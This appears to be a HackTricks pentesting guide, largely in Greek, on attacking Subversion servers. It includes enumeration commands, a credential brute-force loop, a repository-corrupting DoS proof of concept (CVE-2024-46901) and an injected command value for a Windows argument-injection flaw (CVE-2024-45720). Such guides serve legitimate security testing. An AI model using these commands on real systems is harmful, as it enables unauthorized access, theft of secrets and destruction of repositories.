3690/tcp - Pentesting Διακομιστής Subversion (SVN)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Subversion (SVN) είναι ένα κεντροποιημένο σύστημα ελέγχου έκδοσης (Apache license) που χρησιμοποιείται για την παρακολούθηση εκδόσεων λογισμικού και τον έλεγχο αναθεωρήσεων.
Προεπιλεγμένη θύρα: 3690/tcp (svnserve). Μπορεί επίσης να εκτεθεί μέσω HTTP/HTTPS μέσω mod_dav_svn και μέσω svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Εντοπισμός
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Αυθεντικοποίηση & Αναζήτηση λανθασμένων διαμορφώσεων
svnserve.confμπορεί να επιτρέπειanon-access = read(ή ακόμα και εγγραφή). Αν μπορείτε να κάνετε λίστα, δοκιμάστεcheckoutγια να εξαγάγετε μυστικά, σενάρια, CI tokens.- Τα αποθετήρια συχνά αποθηκεύουν build pipelines, deployment keys, και database credentials σε αρχεία διαμόρφωσης υπό έλεγχο έκδοσης. Κάντε grep στο working copy μετά το
checkout:grep -R "password\|secret\|token" -n .. - Εάν το svn+ssh είναι ενεργό, τα shells χρηστών συχνά επιτρέπουν περιορισμένες εντολές
svnserve; δοκιμάστεssh user@host svnserve -tμε επιμελημένα subcommands για να παρακάμψετε wrappers.
Bruteforcing credentials (svnserve)
sasl authentication (εάν είναι ενεργοποιημένη) και απλά αρχεία κωδικών προστατεύονται μόνο από το transport — δεν υπάρχει αποκλεισμός από προεπιλογή. Ένας γρήγορος loop σε Bash μπορεί να δοκιμάσει διαπιστευτήρια:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Πρόσφατες Ευπάθειες (πρακτικός αντίκτυπος)
mod_dav_svn DoS μέσω χαρακτήρων ελέγχου (CVE-2024-46901)
- Ένας χρήστης με commit δικαιώματα μπορεί να γράψει ένα path που περιέχει χαρακτήρες ελέγχου (π.χ.
\x01,\x7f) που corrupts το repository, κάνοντας τα επόμενα checkouts/logs να αποτύχουν και πιθανόν να προκαλέσει crash στους workers τουmod_dav_svn. - Επηρεάζει Subversion ≤ 1.14.4 όταν εξυπηρετείται μέσω HTTP(S) (
mod_dav_svn). Διορθώθηκε στην 1.14.5. - PoC commit με
svnmucc(απαιτεί valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Μετά το commit, οι κανονικοί clients ενδέχεται να καταρρεύσουν ή να αρνηθούν ενημερώσεις μέχρι οι admins να αφαιρέσουν χειροκίνητα την αναθεώρηση με
svnadmin dump/filter/load.
Windows argument injection in svn client (CVE-2024-45720)
- Σε Windows, ο “best-fit” χαρακτήρας κωδικοποίησης στο
svn.exeεπιτρέπει command-line argument injection κατά την επεξεργασία ειδικά κατασκευασμένων non‑ASCII paths/URLs, ενδεχομένως οδηγώντας σε αυθαίρετη εκτέλεση προγράμματος. - Επηρεάζει Subversion ≤ 1.14.3 μόνο σε Windows; διορθώθηκε στην 1.14.4. Επιφάνεια επίθεσης: phishing a developer to run
svnon an attacker-controlled URL/path. - Pentest angle: εάν ελέγχετε ένα network share ή ZIP που δίνεται σε έναν Windows dev, ονομάστε ένα repo URL ή working-copy path που περιέχει best-fit bytes που αποκωδικοποιούνται σε
" & calc.exe & "-τύπου injected args, και μετά ξεγελάστε το θύμα να τρέξειsvn statusή παρόμοιο σε εκείνο το path.
Σημειώσεις για τη ροή εργασίας εκμετάλλευσης
- Ελέγξτε τη μέθοδο πρόσβασης:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), orsvn+ssh://. - Δοκιμάστε πρώτα anonymous read; στη συνέχεια κάντε spray common creds. Αν χρησιμοποιείται HTTP Basic, επαναχρησιμοποιήστε creds που βρέθηκαν αλλού.
- Enumerate hooks:
hooks/pre-commit,post-commitscripts μερικές φορές περιέχουν plaintext credentials ή hostnames. - Leverage
svn:externalsγια να τραβήξετε επιπλέον paths από άλλους hosts; απαριθμήστε τα μεsvn propget svn:externals -R .μετά το checkout. - Version leaks: τα HTTP response headers από το
mod_dav_svnσυνήθως δείχνουν την έκδοση Subversion & Apache· συγκρίνετέ τα με την 1.14.5 για να εντοπίσετε vuln targets. - Αν αποκτήσετε πρόσβαση στο filesystem του repo,
svnadmin dump/svnlook author/svnlook dirs-changedεπιτρέπουν offline ανάλυση χωρίς credentials.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


